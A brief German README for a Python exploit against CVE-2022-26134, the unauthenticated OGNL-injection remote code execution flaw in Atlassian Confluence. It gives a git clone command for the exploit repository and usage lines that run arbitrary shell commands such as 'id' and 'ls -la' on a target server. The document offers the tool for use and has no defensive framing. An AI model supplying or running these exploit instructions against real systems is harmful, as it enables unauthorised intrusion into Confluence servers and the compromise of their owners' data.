
Python-Exploit-Skript für CVE-2022-26134, eine Sicherheitslücke zur Remote-Codeausführung ohne Authentifizierung in Atlassian Confluence über OGNL-Injection. Führt beliebige Befehle auf Zielservern aus.
CVE-2022-26134 - Confluence Pre-Auth RCE | OGNL-Injektion
git clone https://github.com/crowsec-edtech/CVE-2022-26134
cd CVE-2022-26134
USE: python3 exploit.py https://target.com CMD
Ex: python3 exploit.py https://target.com id
Ex: python3 exploit.py https://target.com 'ls -la'